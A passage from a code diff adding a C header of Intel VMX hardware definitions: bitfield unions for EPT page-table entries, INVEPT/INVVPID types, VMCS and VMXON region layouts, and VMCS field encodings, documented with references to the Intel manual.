EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPDPTE_1GB_SUPPRESS_VE_BIT 63 +#define EPDPTE_1GB_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPDPTE_1GB_SUPPRESS_VE_MASK 0x01 +#define EPDPTE_1GB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epdpte_1gb; + +/** + * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that References an EPT Page Directory + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPDPTE_READ_ACCESS_BIT 0 +#define EPDPTE_READ_ACCESS_FLAG 0x01 +#define EPDPTE_READ_ACCESS_MASK 0x01 +#define EPDPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPDPTE_WRITE_ACCESS_BIT 1 +#define EPDPTE_WRITE_ACCESS_FLAG 0x02 +#define EPDPTE_WRITE_ACCESS_MASK 0x01 +#define EPDPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 1-GByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 1-GByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDPTE_EXECUTE_ACCESS_BIT 2 +#define EPDPTE_EXECUTE_ACCESS_FLAG 0x04 +#define EPDPTE_EXECUTE_ACCESS_MASK 0x01 +#define EPDPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDPTE_ACCESSED_BIT 8 +#define EPDPTE_ACCESSED_FLAG 0x100 +#define EPDPTE_ACCESSED_MASK 0x01 +#define EPDPTE_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte region controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDPTE_USER_MODE_EXECUTE_BIT 10 +#define EPDPTE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDPTE_USER_MODE_EXECUTE_MASK 0x01 +#define EPDPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPDPTE_PAGE_FRAME_NUMBER_BIT 12 +#define EPDPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPDPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPDPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} epdpte; + +/** + * @brief Format of an EPT Page-Directory Entry (PDE) that Maps a 2-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPDE_2MB_READ_ACCESS_BIT 0 +#define EPDE_2MB_READ_ACCESS_FLAG 0x01 +#define EPDE_2MB_READ_ACCESS_MASK 0x01 +#define EPDE_2MB_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPDE_2MB_WRITE_ACCESS_BIT 1 +#define EPDE_2MB_WRITE_ACCESS_FLAG 0x02 +#define EPDE_2MB_WRITE_ACCESS_MASK 0x01 +#define EPDE_2MB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 2-MByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 2-MByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDE_2MB_EXECUTE_ACCESS_BIT 2 +#define EPDE_2MB_EXECUTE_ACCESS_FLAG 0x04 +#define EPDE_2MB_EXECUTE_ACCESS_MASK 0x01 +#define EPDE_2MB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 2-MByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPDE_2MB_MEMORY_TYPE_BIT 3 +#define EPDE_2MB_MEMORY_TYPE_FLAG 0x38 +#define EPDE_2MB_MEMORY_TYPE_MASK 0x07 +#define EPDE_2MB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 2-MByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPDE_2MB_IGNORE_PAT_BIT 6 +#define EPDE_2MB_IGNORE_PAT_FLAG 0x40 +#define EPDE_2MB_IGNORE_PAT_MASK 0x01 +#define EPDE_2MB_IGNORE_PAT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Must be 1 (otherwise, this entry references an EPT page table). + */ + uint64_t large_page : 1; +#define EPDE_2MB_LARGE_PAGE_BIT 7 +#define EPDE_2MB_LARGE_PAGE_FLAG 0x80 +#define EPDE_2MB_LARGE_PAGE_MASK 0x01 +#define EPDE_2MB_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDE_2MB_ACCESSED_BIT 8 +#define EPDE_2MB_ACCESSED_FLAG 0x100 +#define EPDE_2MB_ACCESSED_MASK 0x01 +#define EPDE_2MB_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 2-MByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPDE_2MB_DIRTY_BIT 9 +#define EPDE_2MB_DIRTY_FLAG 0x200 +#define EPDE_2MB_DIRTY_MASK 0x01 +#define EPDE_2MB_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDE_2MB_USER_MODE_EXECUTE_BIT 10 +#define EPDE_2MB_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDE_2MB_USER_MODE_EXECUTE_MASK 0x01 +#define EPDE_2MB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 10; + + /** + * [Bits 47:21] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 27; +#define EPDE_2MB_PAGE_FRAME_NUMBER_BIT 21 +#define EPDE_2MB_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 +#define EPDE_2MB_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF +#define EPDE_2MB_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) + uint64_t reserved2 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPDE_2MB_SUPPRESS_VE_BIT 63 +#define EPDE_2MB_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPDE_2MB_SUPPRESS_VE_MASK 0x01 +#define EPDE_2MB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epde_2mb; + +/** + * @brief Format of an EPT Page-Directory Entry (PDE) that References an EPT Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPDE_READ_ACCESS_BIT 0 +#define EPDE_READ_ACCESS_FLAG 0x01 +#define EPDE_READ_ACCESS_MASK 0x01 +#define EPDE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPDE_WRITE_ACCESS_BIT 1 +#define EPDE_WRITE_ACCESS_FLAG 0x02 +#define EPDE_WRITE_ACCESS_MASK 0x01 +#define EPDE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 2-MByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 2-MByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDE_EXECUTE_ACCESS_BIT 2 +#define EPDE_EXECUTE_ACCESS_FLAG 0x04 +#define EPDE_EXECUTE_ACCESS_MASK 0x01 +#define EPDE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDE_ACCESSED_BIT 8 +#define EPDE_ACCESSED_FLAG 0x100 +#define EPDE_ACCESSED_MASK 0x01 +#define EPDE_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte region controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDE_USER_MODE_EXECUTE_BIT 10 +#define EPDE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDE_USER_MODE_EXECUTE_MASK 0x01 +#define EPDE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPDE_PAGE_FRAME_NUMBER_BIT 12 +#define EPDE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPDE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPDE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} epde; + +/** + * @brief Format of an EPT Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 4-KByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPTE_READ_ACCESS_BIT 0 +#define EPTE_READ_ACCESS_FLAG 0x01 +#define EPTE_READ_ACCESS_MASK 0x01 +#define EPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 4-KByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPTE_WRITE_ACCESS_BIT 1 +#define EPTE_WRITE_ACCESS_FLAG 0x02 +#define EPTE_WRITE_ACCESS_MASK 0x01 +#define EPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 4-KByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 4-KByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPTE_EXECUTE_ACCESS_BIT 2 +#define EPTE_EXECUTE_ACCESS_FLAG 0x04 +#define EPTE_EXECUTE_ACCESS_MASK 0x01 +#define EPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 4-KByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPTE_MEMORY_TYPE_BIT 3 +#define EPTE_MEMORY_TYPE_FLAG 0x38 +#define EPTE_MEMORY_TYPE_MASK 0x07 +#define EPTE_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 4-KByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPTE_IGNORE_PAT_BIT 6 +#define EPTE_IGNORE_PAT_FLAG 0x40 +#define EPTE_IGNORE_PAT_MASK 0x01 +#define EPTE_IGNORE_PAT(_) (((_) >> 6) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 4-KByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPTE_ACCESSED_BIT 8 +#define EPTE_ACCESSED_FLAG 0x100 +#define EPTE_ACCESSED_MASK 0x01 +#define EPTE_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 4-KByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPTE_DIRTY_BIT 9 +#define EPTE_DIRTY_FLAG 0x200 +#define EPTE_DIRTY_MASK 0x01 +#define EPTE_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 4-KByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPTE_USER_MODE_EXECUTE_BIT 10 +#define EPTE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPTE_USER_MODE_EXECUTE_MASK 0x01 +#define EPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPTE_PAGE_FRAME_NUMBER_BIT 12 +#define EPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPTE_SUPPRESS_VE_BIT 63 +#define EPTE_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPTE_SUPPRESS_VE_MASK 0x01 +#define EPTE_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epte; + +/** + * @brief Format of a common EPT Entry + */ +typedef union +{ + struct + { + uint64_t read_access : 1; +#define EPT_ENTRY_READ_ACCESS_BIT 0 +#define EPT_ENTRY_READ_ACCESS_FLAG 0x01 +#define EPT_ENTRY_READ_ACCESS_MASK 0x01 +#define EPT_ENTRY_READ_ACCESS(_) (((_) >> 0) & 0x01) + uint64_t write_access : 1; +#define EPT_ENTRY_WRITE_ACCESS_BIT 1 +#define EPT_ENTRY_WRITE_ACCESS_FLAG 0x02 +#define EPT_ENTRY_WRITE_ACCESS_MASK 0x01 +#define EPT_ENTRY_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + uint64_t execute_access : 1; +#define EPT_ENTRY_EXECUTE_ACCESS_BIT 2 +#define EPT_ENTRY_EXECUTE_ACCESS_FLAG 0x04 +#define EPT_ENTRY_EXECUTE_ACCESS_MASK 0x01 +#define EPT_ENTRY_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t memory_type : 3; +#define EPT_ENTRY_MEMORY_TYPE_BIT 3 +#define EPT_ENTRY_MEMORY_TYPE_FLAG 0x38 +#define EPT_ENTRY_MEMORY_TYPE_MASK 0x07 +#define EPT_ENTRY_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + uint64_t ignore_pat : 1; +#define EPT_ENTRY_IGNORE_PAT_BIT 6 +#define EPT_ENTRY_IGNORE_PAT_FLAG 0x40 +#define EPT_ENTRY_IGNORE_PAT_MASK 0x01 +#define EPT_ENTRY_IGNORE_PAT(_) (((_) >> 6) & 0x01) + uint64_t large_page : 1; +#define EPT_ENTRY_LARGE_PAGE_BIT 7 +#define EPT_ENTRY_LARGE_PAGE_FLAG 0x80 +#define EPT_ENTRY_LARGE_PAGE_MASK 0x01 +#define EPT_ENTRY_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint64_t accessed : 1; +#define EPT_ENTRY_ACCESSED_BIT 8 +#define EPT_ENTRY_ACCESSED_FLAG 0x100 +#define EPT_ENTRY_ACCESSED_MASK 0x01 +#define EPT_ENTRY_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t dirty : 1; +#define EPT_ENTRY_DIRTY_BIT 9 +#define EPT_ENTRY_DIRTY_FLAG 0x200 +#define EPT_ENTRY_DIRTY_MASK 0x01 +#define EPT_ENTRY_DIRTY(_) (((_) >> 9) & 0x01) + uint64_t user_mode_execute : 1; +#define EPT_ENTRY_USER_MODE_EXECUTE_BIT 10 +#define EPT_ENTRY_USER_MODE_EXECUTE_FLAG 0x400 +#define EPT_ENTRY_USER_MODE_EXECUTE_MASK 0x01 +#define EPT_ENTRY_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 1; + uint64_t page_frame_number : 36; +#define EPT_ENTRY_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_ENTRY_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_ENTRY_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_ENTRY_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 15; + uint64_t suppress_ve : 1; +#define EPT_ENTRY_SUPPRESS_VE_BIT 63 +#define EPT_ENTRY_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPT_ENTRY_SUPPRESS_VE_MASK 0x01 +#define EPT_ENTRY_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ept_entry; + +/** + * @defgroup ept_table_level \ + * EPT Table level numbers + * + * EPT Table level numbers. + * @{ + */ +#define EPT_LEVEL_PML4E 0x00000003 +#define EPT_LEVEL_PDPTE 0x00000002 +#define EPT_LEVEL_PDE 0x00000001 +#define EPT_LEVEL_PTE 0x00000000 + /** + * @} + */ + + /** + * @defgroup ept_entry_count \ + * EPT Entry counts + * + * EPT Entry counts. + * @{ + */ +#define EPT_PML4E_ENTRY_COUNT 0x00000200 +#define EPT_PDPTE_ENTRY_COUNT 0x00000200 +#define EPT_PDE_ENTRY_COUNT 0x00000200 +#define EPT_PTE_ENTRY_COUNT 0x00000200 + /** + * @} + */ + + /** + * @} + */ + +typedef enum +{ + /** + * If the INVEPT type is 1, the logical processor invalidates all guest-physical mappings and combined mappings associated + * with the EP4TA specified in the INVEPT descriptor. Combined mappings for that EP4TA are invalidated for all VPIDs and + * all PCIDs. (The instruction may invalidate mappings associated with other EP4TAs.) + */ + invept_single_context = 0x00000001, + + /** + * If the INVEPT type is 2, the logical processor invalidates guest-physical mappings and combined mappings associated with + * all EP4TAs (and, for combined mappings, for all VPIDs and PCIDs). + */ + invept_all_context = 0x00000002, +} invept_type; + +typedef enum +{ + /** + * If the INVVPID type is 0, the logical processor invalidates linear mappings and combined mappings associated with the + * VPID specified in the INVVPID descriptor and that would be used to translate the linear address specified in of the + * INVVPID descriptor. Linear mappings and combined mappings for that VPID and linear address are invalidated for all PCIDs + * and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other VPIDs and + * for other linear addresses). + */ + invvpid_individual_address = 0x00000000, + + /** + * If the INVVPID type is 1, the logical processor invalidates all linear mappings and combined mappings associated with + * the VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for + * all PCIDs and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other + * VPIDs). + */ + invvpid_single_context = 0x00000001, + + /** + * If the INVVPID type is 2, the logical processor invalidates linear mappings and combined mappings associated with all + * VPIDs except VPID 0000H and with all PCIDs. (The instruction may also invalidate linear mappings with VPID 0000H.) + * Combined mappings are invalidated for all EP4TAs. + */ + invvpid_all_context = 0x00000002, + + /** + * If the INVVPID type is 3, the logical processor invalidates linear mappings and combined mappings associated with the + * VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for all + * PCIDs and, for combined mappings, all EP4TAs. The logical processor is not required to invalidate information that was + * used for global translations (although it may do so). (The instruction may also invalidate mappings associated with + * other VPIDs). + * + * @see Vol3C[4.10(Caching Translation Information)] + */ + invvpid_single_context_retaining_globals = 0x00000003, +} invvpid_type; + +typedef struct +{ + uint64_t ept_pointer; + + /** + * Must be zero. + */ + uint64_t reserved; +} invept_descriptor; + +typedef struct +{ + uint16_t vpid; + + /** + * Must be zero. + */ + uint16_t reserved1; + + /** + * Must be zero. + */ + uint32_t reserved2; + uint64_t linear_address; +} invvpid_descriptor; + +/** + * @brief Format of the VMCS Region + * + * A logical processor uses virtual-machine control data structures (VMCSs) while it is in VMX operation. These manage + * transitions into and out of VMX non-root operation (VM entries and VM exits) as well as processor behavior in VMX + * non-root operation. This structure is manipulated by the new instructions VMCLEAR, VMPTRLD, VMREAD, and VMWRITE. + * A VMCS region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting + * the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] (reference) + */ +typedef struct +{ + struct + { + /** + * @brief VMCS revision identifier + * + * [Bits 30:0] Processors that maintain VMCS data in different formats (see below) use different VMCS revision identifiers. + * These identifiers enable software to avoid using a VMCS region formatted for one processor on a processor that uses a + * different format. + * Software should write the VMCS revision identifier to the VMCS region before using that region for a VMCS. The VMCS + * revision identifier is never written by the processor; VMPTRLD fails if its operand references a VMCS region whose VMCS + * revision identifier differs from that used by the processor. + * Software can discover the VMCS revision identifier that a processor uses by reading the VMX capability MSR + * IA32_VMX_BASIC. + * + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint32_t revision_id : 31; + + /** + * @brief Shadow-VMCS indicator + * + * [Bit 31] Software should clear or set the shadow-VMCS indicator depending on whether the VMCS is to be an ordinary VMCS + * or a shadow VMCS. VMPTRLD fails if the shadow-VMCS indicator is set and the processor does not support the 1-setting of + * the "VMCS shadowing" VM-execution control. Software can discover support for this setting by reading the VMX capability + * MSR IA32_VMX_PROCBASED_CTLS2. + * + * @see Vol3C[24.10(VMCS TYPES ORDINARY AND SHADOW)] + */ + uint32_t shadow_vmcs_indicator : 1; + }; + + + /** + * @brief VMX-abort indicator + * + * The contents of these bits do not control processor operation in any way. A logical processor writes a non-zero value + * into these bits if a VMX abort occurs. Software may also write into this field. + * + * @see Vol3D[27.7(VMX Aborts)] + */ + uint32_t abort_indicator; + + /** + * @brief VMCS data (implementation-specific format) + * + * These parts of the VMCS control VMX non-root operation and the VMX transitions. + * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should + * maintain the VMCS region and related structures in writeback cacheable memory. Future implementations may allow or + * require a different memory type. Software should consult the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.11.4(Software Access to Related Structures)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint8_t data[4088]; +} vmcs; + +/** + * @brief Format of the VMXON Region + * + * Before executing VMXON, software allocates a region of memory that the logical processor uses to support VMX operation. + * This region is called the VMXON region. + * A VMXON region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting + * the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.11.5(VMXON Region)] (reference) + */ +typedef struct +{ + struct + { + /** + * @brief VMCS revision identifier + * + * [Bits 30:0] Before executing VMXON, software should write the VMCS revision identifier to the VMXON region. + * (Specifically, it should write the 31-bit VMCS revision identifier to bits 30:0 of the first 4 bytes of the VMXON + * region; bit 31 should be cleared to 0.) + * + * @see VMCS + * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] + * @see Vol3C[24.11.5(VMXON Region)] + */ + uint32_t revision_id : 31; + + /** + * [Bit 31] Bit 31 is always 0. + */ + uint32_t must_be_zero : 1; + }; + + + /** + * @brief VMXON data (implementation-specific format) + * + * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should not + * access or modify the VMXON region of a logical processor between execution of VMXON and VMXOFF on that logical + * processor. Doing otherwise may lead to unpredictable behavior. + * + * @see Vol3C[24.11.4(Software Access to Related Structures)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint8_t data[4092]; +} vmxon; + +/** + * @defgroup vmcs_fields \ + * VMCS (VM Control Structure) + * + * Every component of the VMCS is encoded by a 32-bit field that can be used by VMREAD and VMWRITE. This enumerates all + * fields in the VMCS and their encodings. Fields are grouped by width (16-bit, 32-bit, etc.) and type (guest-state, + * host-state, etc.). + * + * @see Vol3D[B(APPENDIX B FIELD ENCODING IN VMCS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * [Bit 0] Access type (0 = full; 1 = high); must be full for 16-bit, 32-bit, and natural-width fields. + */ + uint16_t access_type : 1; +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_BIT 0 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_FLAG 0x01 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_MASK 0x01 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 9:1] Index. + */ + uint16_t index : 9; +#define VMCS_COMPONENT_ENCODING_INDEX_BIT 1 +#define VMCS_COMPONENT_ENCODING_INDEX_FLAG 0x3FE +#define VMCS_COMPONENT_ENCODING_INDEX_MASK 0x1FF +#define VMCS_COMPONENT_ENCODING_INDEX(_) (((_) >> 1) & 0x1FF) + + /** + * [Bits 11:10] Type: + * 0: control + * 1: VM-exit information + * 2: guest state + * 3: host state + */ + uint16_t type : 2; +#define VMCS_COMPONENT_ENCODING_TYPE_BIT 10 +#define VMCS_COMPONENT_ENCODING_TYPE_FLAG 0xC00 +#define VMCS_COMPONENT_ENCODING_TYPE_MASK 0x03 +#define VMCS_COMPONENT_ENCODING_TYPE(_) (((_) >> 10) & 0x03) + + /** + * [Bit 12] Reserved (must be 0). + */ + uint16_t must_be_zero : 1; +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_BIT 12 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_FLAG 0x1000 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_MASK 0x01 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO(_) (((_) >> 12) & 0x01) + + /** + * [Bits 14:13] Width: + * 0: 16-bit + * 1: 64-bit + * 2: 32-bit + * 3: natural-width + */ + uint16_t width : 2; +#define VMCS_COMPONENT_ENCODING_WIDTH_BIT 13 +#define VMCS_COMPONENT_ENCODING_WIDTH_FLAG 0x6000 +#define VMCS_COMPONENT_ENCODING_WIDTH_MASK 0x03 +#define VMCS_COMPONENT_ENCODING_WIDTH(_) (((_) >> 13) & 0x03) + uint16_t reserved1 : 1; + }; + + uint16_t flags; +} vmcs_component_encoding; + +/** + * @defgroup vmcs_16_bit \ + * 16-Bit Fields + * + * 16-Bit Fields. + * + * @see Vol3D[B.1(16-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_16_bit_control_fields \ + * 16-Bit Control Fields + * + * 16-Bit Control Fields. + * @{ + */ + /** + * Virtual-processor identifier (VPID). + * + * @remarks This field exists only on processors that support the 1-setting of the "enable VPID" VM-execution control. + */ +#define VMCS_CTRL_VIRTUAL_PROCESSOR_IDENTIFIER 0x00000000 + + /** + * Posted-interrupt 